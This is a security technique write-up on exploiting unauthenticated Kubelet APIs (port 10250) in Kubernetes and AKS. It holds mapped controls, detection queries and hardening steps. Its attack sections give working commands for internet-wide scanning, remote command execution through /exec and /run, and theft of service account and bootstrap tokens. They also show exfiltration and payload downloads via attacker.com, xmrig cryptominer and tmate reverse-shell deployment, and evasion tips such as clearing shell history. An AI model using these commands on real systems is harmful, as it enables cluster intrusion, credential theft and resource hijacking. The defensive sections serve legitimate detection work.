| Attribute | Details |
|---|---|
| Technique ID | IA-EXPLOIT-004 |
| MITRE ATT&CK v18.1 | T1190 - Exploit Public-Facing Application |
| Tactic | Initial Access |
| Platforms | Entra ID, Azure (AKS), Kubernetes |
| Severity | Critical |
| CVE | N/A (Design Default / Misconfiguration) |
| Technique Status | ACTIVE |
| Last Verified | 2025-12-30 |
| Affected Versions | Kubernetes 1.0 - 1.31 (all versions affected by default config) |
| Patched In | N/A - Design choice; requires manual hardening |
| Author | SERVTEP – Artur Pchelnikau |
Note: Sections 6 (Atomic Red Team) and 11 (Sysmon Detection) not included because: (1) No specific Atomic test for Kubelet exploitation (generic RCE tests exist), (2) Kubelet is cloud-native with no Sysmon instrumentation. All section numbers have been dynamically renumbered based on applicability.
Concept: The Kubelet is a core Kubernetes component running on every node that manages pod lifecycle. By default, Kubelet exposes an HTTPS API on port 10250 with anonymous authentication enabled (--anonymous-auth=true) and AlwaysAllow authorization (--authorization-mode=AlwaysAllow). This means any attacker with network access to port 10250 can execute arbitrary commands in any container running on that node, extract secrets, or enumerate the entire cluster. Recent honeypot research found 100+ exposed kubelet APIs on the public internet, with 27 fully exploitable for RCE.[59][60][62]
Attack Surface: Kubelet HTTPS endpoint (port 10250), read-only port 10255 (deprecated but still present), /exec, /run, /pods, /logs API endpoints, service account token mounting.
Business Impact: Attackers gain instant root-equivalent access to all containers on a node, enabling cryptojacking, data exfiltration, lateral movement to Entra ID via stolen tokens, and cluster-wide compromise. The infamous TeamTNT Hildegard campaign exploited this vulnerability to compromise 50,000+ IPs for crypto mining operations.[77][91]
Technical Context: Exploitation takes seconds—attacker discovers kubelet URL (via Shodan, IP scanning, or GitHub leaks), calls /exec endpoint with command payload, and gains execution within milliseconds. Unlike API Server attacks, Kubelet access is not logged by Kubernetes audit logs, making detection difficult.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Kubernetes v1.24 | 1.1.1 | API server –authorization-mode not set to RBAC |
| CIS Kubernetes v1.24 | 1.4.2 | Kubelet read-only port (10255) not disabled |
| DISA STIG | SV-245839 | Kubernetes API server must enforce authorization |
| NIST 800-53 | AC-3 | Access Enforcement (unauthorized API requests) |
| NIST 800-53 | AC-6 | Least Privilege (anonymous auth enabled) |
| GDPR | Art. 32 | Security of Processing (inadequate access controls) |
| PCI DSS | 2.2 | Change vendor-supplied defaults; remove unnecessary services |
| ISO 27001 | A.9.2.3 | Management of Privileged Access Rights |
| ISO 27001 | A.12.4.3 | Logging of administrator activities |
Supported Versions:
Tools:
# Discover exposed kubelet instances on internet
shodan search "port:10250 ssl" --limit 100
shodan search "kubernetes" --limit 100
# Scan Azure IP ranges for exposed kubelet
nmap -p 10250 --open -sV 13.64.0.0/10 > azure-kubelet-scan.txt
masscan -p10250 13.64.0.0/10 --rate=100 --output-format json > k8s-nodes.json
What to Look For:
/pods/, /exec/, /metrics/ endpoints accessible# Test for anonymous access to kubelet
curl -sk https://<KUBELET_IP>:10250/pods/ 2>/dev/null | python3 -mjson.tool | head -20
# Test for read-only port (deprecated but sometimes enabled)
curl -k http://<KUBELET_IP>:10255/pods/ 2>/dev/null
# Enumerate running containers
curl -sk https://<KUBELET_IP>:10250/pods/ | jq '.items[] | .metadata.name,.spec.containers[].name'
Expected Output (Vulnerable):
{
"kind": "PodList",
"apiVersion": "v1",
"items": [
{
"metadata": {"name": "nginx-5d4f6d7d9c-x8k9l", "namespace": "default"},
"spec": {
"containers": [
{"name": "nginx", "image": "nginx:1.19"}
]
}
}
]
}
Expected Output (Hardened):
curl: (35) error:14090086:SSL routines:SSL3_GET_SERVER_CERTIFICATE:certificate verify failed
# Install kubeletctl
go get github.com/cyberark/kubeletctl
# OR
git clone https://github.com/cyberark/kubeletctl && cd kubeletctl && make build
# Enumerate kubelet
./kubeletctl -s <KUBELET_IP> scan
# List pods
./kubeletctl -s <KUBELET_IP> pods
# List containers in pod
./kubeletctl -s <KUBELET_IP> pods <namespace> <pod-name>
What to Look For:
Supported Versions: All (Kubernetes 1.0+)
Objective: Locate exploitable pod to gain command execution
Command:
# Enumerate all pods on node
curl -sk "https://<KUBELET_IP>:10250/pods/" | jq '.items[] | "\(.metadata.namespace)/\(.metadata.name)/\(.spec.containers[0].name)"'
# Example output:
# "default/nginx-5d4f6d7d9c-x8k9l/nginx"
# "kube-system/coredns-558bd4d5db-9x5g2/coredns"
# "kube-system/etcd-master/etcd"
Expected Output:
default/nginx-5d4f6d7d9c-x8k9l/nginx
default/mysql-5b7f4c6d8e-k9l2m/mysql
kube-system/coredns-558bd4d5db-9x5g2/coredns
What This Means:
kube-system namespace (cluster management), default namespace (often running apps with secrets)OpSec & Evasion:
Objective: Establish interactive session to container via WebSocket
Command (Using curl + websocat):
# Install websocat
apt-get install websocat
# OR: cargo install websocat
# Open exec stream - STEP 1: Get stream ID
STREAM_URL=$(curl -sk -X POST \
"https://<KUBELET_IP>:10250/exec/default/nginx-5d4f6d7d9c-x8k9l/nginx" \
-H "Connection: Upgrade" \
-H "Upgrade: websocket" \
-H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
-H "Sec-WebSocket-Version: 13" \
-d "command=sh&command=-c&input=1&output=1&tty=1" -v 2>&1 | grep 'Location:' | cut -d' ' -f2)
# Connect via websocat
websocat "wss://<KUBELET_IP>:10250${STREAM_URL}"
Command (Simplified - Direct RCE):
# Single-command execution (non-interactive)
curl -sk -X POST \
"https://<KUBELET_IP>:10250/exec/default/nginx-5d4f6d7d9c-x8k9l/nginx" \
-d "command=id" \
-d "command=;" \
-d "command=cat%20/etc/passwd" \
-d "input=1" \
-d "output=1" | cat
Expected Output:
uid=0(root) gid=0(root) groups=0(root)
What This Means:
OpSec & Evasion:
ps aux, whoami)/bin/sh instead of /bin/bash (more portable)curl ... -d "command=wget http://attacker.com/payload.sh" -d "command=sh" -d "command=payload.sh"history -c or rm ~/.bash_historyTroubleshooting:
400 Bad Request
-d "command=WORD" for each shell argument (e.g., for ls -la, use -d "command=ls" -d "command=-la")404 Not Found
Objective: Steal service account tokens for API server access
Command:
# Extract service account token (mounted by default)
curl -sk -X POST \
"https://<KUBELET_IP>:10250/exec/default/nginx-5d4f6d7d9c-x8k9l/nginx" \
-d "command=cat%20/var/run/secrets/kubernetes.io/serviceaccount/token" \
-d "input=1" -d "output=1"
# Extract service account CA
curl -sk -X POST \
"https://<KUBELET_IP>:10250/exec/default/nginx-5d4f6d7d9c-x8k9l/nginx" \
-d "command=cat%20/var/run/secrets/kubernetes.io/serviceaccount/ca.crt" \
-d "input=1" -d "output=1"
# Extract namespace
curl -sk -X POST \
"https://<KUBELET_IP>:10250/exec/default/nginx-5d4f6d7d9c-x8k9l/nginx" \
-d "command=cat%20/var/run/secrets/kubernetes.io/serviceaccount/namespace" \
-d "input=1" -d "output=1"
Expected Output:
eyJhbGciOiJSUzI1NiIsImtpZCI6IkprbXpCMWN2b3dfeG1rblAxYkFfNWhnY0JMc0ppTThLRUQzLXdtQmI5QjQifQ.eyJpc3MiOiJodHRwczovL2t1YmVybmV0ZXMuZGVmYXVsdC5zdmMuY2x1c3Rlci5sb2NhbCIsImt1YmVybmV0ZXMuaW8iOnsibmFtZXNwYWNlIjoiZGVmYXVsdCIsInBvZCI6eyJuYW1lIjoibmdpbngtNWQ0ZjZkN2Q5Yy14OGs5bCIsInVpZCI6ImVhZjk0ZDJmLTQxYjUtNDk5ZC1hOTgyLWQzNDdhNDMyMTY5NyJ9LCJzZXJ2aWNlYWNjb3VudCI6eyJuYW1lIjoiZGVmYXVsdCIsInVpZCI6ImRhNzExNGU5LTM4N2QtNDMyNS1iNjE3LWM0NjI0NjQ3NTA0MCJ9fSwibmJmIjoxNzM1NzAxMDA0LCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6ZGVmYXVsdDpkZWZhdWx0In0...
What This Means:
Exfiltration:
# Save tokens to attacker server
curl -sk -X POST "https://<KUBELET_IP>:10250/exec/default/nginx-5d4f6d7d9c-x8k9l/nginx" \
-d "command=curl" -d "command=http://attacker.com/exfil?token=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)" \
-d "input=1" -d "output=1"
Supported Versions: All (Kubernetes 1.0+)
Objective: Execute command without WebSocket complexity
Command:
# Simple POST request to /run endpoint
curl -sk -X POST "https://<KUBELET_IP>:10250/run/default/nginx-5d4f6d7d9c-x8k9l/nginx" \
-d "cmd=whoami"
# Example: Download and execute malware
curl -sk -X POST "https://<KUBELET_IP>:10250/run/default/nginx-5d4f6d7d9c-x8k9l/nginx" \
-d "cmd=curl http://attacker.com/malware.sh | sh"
Expected Output:
root
What This Means:
Advantages over /exec:
Objective: Establish persistence and resource hijacking
Command (Cryptominer - xmrig):
# Deploy xmrig cryptominer (TeamTNT Hildegard pattern)
curl -sk -X POST "https://<KUBELET_IP>:10250/run/default/nginx-5d4f6d7d9c-x8k9l/nginx" \
-d "cmd=wget http://attacker.com/xmrig -O /tmp/xmrig && chmod +x /tmp/xmrig && /tmp/xmrig -o pool.monero.cc:3333 -u attacker@email.com -p password"
# Or inline:
curl -sk -X POST "https://<KUBELET_IP>:10250/run/default/nginx-5d4f6d7d9c-x8k9l/nginx" \
-d "cmd=sh -c 'wget http://attacker.com/payload.sh && bash payload.sh'"
Command (Reverse Shell - tmate):
# Establish tmate reverse shell (TeamTNT Hildegard pattern)
curl -sk -X POST "https://<KUBELET_IP>:10250/run/default/nginx-5d4f6d7d9c-x8k9l/nginx" \
-d "cmd=wget http://attacker.com/tmate && chmod +x /tmp/tmate && /tmp/tmate -s attacker-session"
Expected Behavior:
Impact:
Supported Versions: AKS with Azure CNI (affected versions: Pre-patch 2024)
Objective: Steal bootstrap tokens for node privilege escalation
Vulnerability Context: Azure WireServer exposes node bootstrap configuration with TLS bootstrap tokens.[96][101]
Command (From Container with Kubelet Access):
# Query Azure WireServer for node configuration
curl -sk -X POST "https://<KUBELET_IP>:10250/run/default/nginx-5d4f6d7d9c-x8k9l/nginx" \
-d "cmd=curl http://168.63.129.16/?comp=versions"
# Expected to return cluster bootstrap secrets and TLS tokens
Manual Steps (If Direct Kubelet RCE):
# On the node itself (if compromised), read bootstrap config
cat /etc/kubernetes/bootstrap-kubeconfig.conf | grep client-certificate-data
# Extract token
base64 -d <<< "CERTIFICATE_DATA_HERE" > bootstrap.crt
openssl x509 -in bootstrap.crt -text -noout
Objective: Generate legitimate kubelet certificate for node authority
Command:
# Using stolen bootstrap token, generate kubelet cert
curl -sk -X POST "https://<KUBELET_IP>:10250/run/default/nginx-5d4f6d7d9c-x8k9l/nginx" \
-d "cmd=kubelet --bootstrap-kubeconfig=/etc/kubernetes/bootstrap-kubeconfig.conf --kubeconfig=/tmp/kubelet.conf --cert-dir=/tmp/certs"
# Now kubelet can:
# 1. Authenticate to API server as legitimate node
# 2. Access cluster-admin resources
# 3. Read all secrets across all namespaces
Impact:
Rule Configuration:
kubernetes, azure_activitykubelet_audit, kubernetes:kubelet:logsendpoint, method, response_code, source_ipSPL Query:
sourcetype="kubernetes:kubelet:logs"
(endpoint="/exec/*" OR endpoint="/run/*" OR endpoint="/pods/*")
AND method=POST
AND source_ip NOT IN (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)
| stats count by source_ip, endpoint, container_name, namespace
| where count > 0
What This Detects:
Manual Configuration Steps:
when the result count is greater than 0Rule Configuration:
kuberneteskubelet_logscommand, namespace, pod_name/var/run/secrets/kubernetes.io/serviceaccount/token accessSPL Query:
sourcetype="kubelet_logs"
(command="*serviceaccount/token*" OR command="*ca.crt*")
| stats count by namespace, pod_name, source_ip, command
| search count > 0
What This Detects:
Rule Configuration:
KubernetesAudit, ContainerLogComputer, ObjectRef.apiVersion, verb, sourceIPsKQL Query:
KubernetesAudit
| where verb in ("exec", "run", "attach")
and ResourceProvider == "Kubernetes"
and ResponseStatus contains "200" or ResponseStatus contains "202"
| extend SourceIP = parse_json(SourceIPs)[0]
| where SourceIP !matches regex @"^(10\.|172\.1[6-9]\.|172\.2[0-9]\.|172\.3[01]\.|192\.168\.)"
| summarize ExecCount = count() by Computer, ObjectRef.name, SourceIP
| where ExecCount > 0
What This Detects:
Manual Configuration Steps (Azure Portal):
Suspicious Kubelet RCE AttemptCritical5 minutesRule Configuration:
ContainerLog, KubernetesAuditLogEntry, PodName, ContainerNameKQL Query:
ContainerLog
| where LogEntry matches regex @"serviceaccount.*token|ca\.crt"
| summarize TokenAccessCount = count() by Computer, PodName, ContainerName, TimeGenerated
| where TokenAccessCount > 0
| order by TimeGenerated desc
What This Detects:
Alert Name: “Suspicious Kubelet API Access Detected”
Alert Name: “Potential Cryptocurrency Mining Detected in Container”
Manual Configuration (Enable Defender for Cloud):
Reference: Microsoft Defender for Cloud - Kubernetes Monitoring
/tmp/xmrig, /tmp/tmate, /tmp/payload.sh, suspicious shell scripts| Container Logs: “curl | sh”, “wget | bash”, mining pool connections |
/var/log/kubelet.log or sent to stdout (visible via kubectl logs)kubectl logs POD_NAME shows command execution history/var/lib/kubelet/pods/*/containers/*/log contains container standard outputCommand (Isolate Compromised Node):
# Cordon the node to prevent new pod scheduling
kubectl cordon <NODE_NAME>
# Drain existing pods (careful: may disrupt services)
kubectl drain <NODE_NAME> --ignore-daemonsets --delete-emptydir-data
# In AKS: Scale down node pool
az aks nodepool scale --resource-group <RG> --cluster-name <CLUSTER> --name <NODEPOOL> --node-count 0
Manual (Azure Portal):
Command (Export Kubelet Logs):
# Get kubelet logs from node
kubectl describe node <NODE_NAME> > node-description.txt
# Export container logs from all pods on node
for pod in $(kubectl get pods -A --field-selector spec.nodeName=<NODE_NAME> -o jsonpath='{.items[*].metadata.name}'); do
kubectl logs $pod --all-containers > logs-${pod}.txt
done
# Export kubelet journal (if SSH access)
ssh azureuser@<NODE_IP> journalctl -u kubelet -o json > kubelet-journal.json
Manual (Azure Portal):
Command (Check for Scheduled Tasks/Crons):
# RCE into pod and check cron
kubectl exec -it <POD_NAME> -- crontab -l
# Check for startup scripts
kubectl exec -it <POD_NAME> -- cat /etc/rc.local
kubectl exec -it <POD_NAME> -- ls -la ~/.bashrc ~/.profile
Command (Delete Compromised Resources):
# Delete infected pod (automatic recreation if managed by deployment)
kubectl delete pod <POD_NAME>
# Delete node to force rebuild
az aks nodepool delete --resource-group <RG> --cluster-name <CLUSTER> --name <NODEPOOL>
# Update pod security policy to prevent future RCE
kubectl apply -f pod-security-policy-strict.yaml
1. Disable Anonymous Authentication on Kubelet
Manual Steps (Kubernetes Configuration):
# /etc/kubernetes/kubelet/kubelet-config.yaml
apiVersion: kubelet.config.k8s.io/v1beta1
kind: KubeletConfiguration
authentication:
anonymous:
enabled: false # CRITICAL: Disable anonymous auth
x509:
clientCAFile: /etc/kubernetes/pki/ca.crt
authorization:
mode: Webhook # CRITICAL: Use webhook authorization
Manual Steps (AKS - Terraform):
resource "azurerm_kubernetes_cluster" "aks" {
name = "secure-aks"
# ... other config ...
# Disable local admin account (forces Entra ID auth)
local_account_disabled = true
# Enable Azure RBAC for Kubernetes authorization
role_based_access_control_enabled = true
azure_active_directory_role_based_access_control {
managed = true
azure_rbac_enabled = true
admin_group_object_ids = ["GROUP_OBJECT_ID"]
}
}
Manual Steps (AKS - Azure Portal):
Validation Command:
# Verify kubelet configuration
ssh azureuser@<NODE_IP>
sudo cat /etc/kubernetes/kubelet/kubelet-config.yaml | grep -A 2 "authentication:"
# Expected:
# authentication:
# anonymous:
# enabled: false
2. Enable Webhook Authorization on Kubelet
Manual Steps (kubelet startup arguments):
# Modify kubelet startup
sudo nano /etc/systemd/system/kubelet.service
# Add/modify:
ExecStart=/usr/bin/kubelet \
--authorization-mode=Webhook \
--authentication-mode=Webhook \
--authentication-token-webhook=true \
--anonymous-auth=false \
--client-ca-file=/etc/kubernetes/pki/ca.crt
# Restart kubelet
sudo systemctl daemon-reload
sudo systemctl restart kubelet
3. Disable Read-Only Kubelet Port (10255)
Manual Steps:
# Ensure read-only port is disabled
sudo nano /etc/kubernetes/kubelet/kubelet-config.yaml
# Add:
readOnlyPort: 0 # Disable read-only port entirely
4. Network Segmentation - Restrict Kubelet to Internal IPs
Manual Steps (AKS - Network Security Group):
Manual Steps (Kubernetes Network Policy):
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: kubelet-restrict
spec:
podSelector: {}
policyTypes:
- Ingress
ingress:
- from:
- namespaceSelector:
matchLabels:
name: kube-system
ports:
- protocol: TCP
port: 10250
5. Enable Azure Policy for Kubernetes (AKS)
Manual Steps:
6. Implement Pod Security Policy (PSP) / Pod Security Standards (PSS)
Manual Steps:
# Kubernetes 1.25+: Use Pod Security Standards
apiVersion: v1
kind: Namespace
metadata:
name: restricted
labels:
pod-security.kubernetes.io/enforce: restricted
pod-security.kubernetes.io/audit: restricted
pod-security.kubernetes.io/warn: restricted
---
apiVersion: policy/v1beta1
kind: PodSecurityPolicy
metadata:
name: restricted
spec:
privileged: false
allowPrivilegeEscalation: false
runAsNonRoot: true
runAsUser:
rule: 'MustRunAsNonRoot'
seLinux:
rule: 'MustRunAs'
seLinuxOptions:
level: "s0:c123,c456"
capabilities:
drop: ['ALL']
7. Enable Kubelet TLS Bootstrapping with Proper Authorization
Manual Steps:
# Create bootstrap RBAC policy (API Server side)
kubectl apply -f - <<EOF
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: kubelet-bootstrap
rules:
- apiGroups: [""]
resources: ["configmaps"]
verbs: ["get"]
- apiGroups: ["certificates.k8s.io"]
resources: ["certificatesigningrequests/approval"]
verbs: ["create", "update"]
EOF
# Bind to service account
kubectl create clusterrolebinding kubelet-bootstrap \
--clusterrole=kubelet-bootstrap \
--group=system:bootstrappers
Validation Command (Verify Mitigation):
# Test that anonymous auth is disabled
curl -sk https://<KUBELET_IP>:10250/pods/ 2>&1
# Expected response:
# {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"Unauthorized","reason":"Unauthorized","code":401}
# NOT expected (vulnerable):
# {"kind":"PodList","apiVersion":"v1",...}
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Discovery | [T1526 - Cloud Service Discovery] | Attacker discovers exposed Kubelet via Shodan/scanning |
| 2 | Initial Access | [IA-EXPLOIT-004] | Kubelet API RCE |
| 3 | Execution | [T1651 - Container Administration Command] | Execute arbitrary commands in container |
| 4 | Credential Access | [T1552.007 - Container API] | Extract service account tokens from container |
| 5 | Lateral Movement | [T1550.001 - Use Alternate Authentication] | Use stolen token to authenticate to API server |
| 6 | Privilege Escalation | [IA-BOOTSTRAP-TOKEN Attack] | Perform TLS bootstrap attack for node authority (AKS) |
| 7 | Impact | [T1496 - Resource Hijacking] | Deploy cryptominers for resource hijacking |
| 8 | Impact | [T1537 - Transfer Data to Cloud Account] | Exfiltrate cluster secrets/data |
/pods/ endpoint to enumerate running containers/exec endpoint to run tmate reverse shellhttp://168.63.129.16/) for cluster configuration/run endpoint to establish footholdpause image with reverse shell)go get github.com/cyberark/kubeletctl or compile from sourcekubeletctl scan # Enumerate kubelet API
kubeletctl pods # List all pods
kubeletctl exec <POD> <CONTAINER> <COMMAND> # Execute command
kubeletctl logs <POD> # Extract logs
pipenv installpython3 kubelet-anon-rce.py --node <IP> --namespace <NS> --pod <POD> --container <CTR> --exec "COMMAND"port:10250 ssl kubernetesport:10255hostname:*.nodes.k8s.ondigitalocean.commasscan -p10250 13.64.0.0/10 --rate=100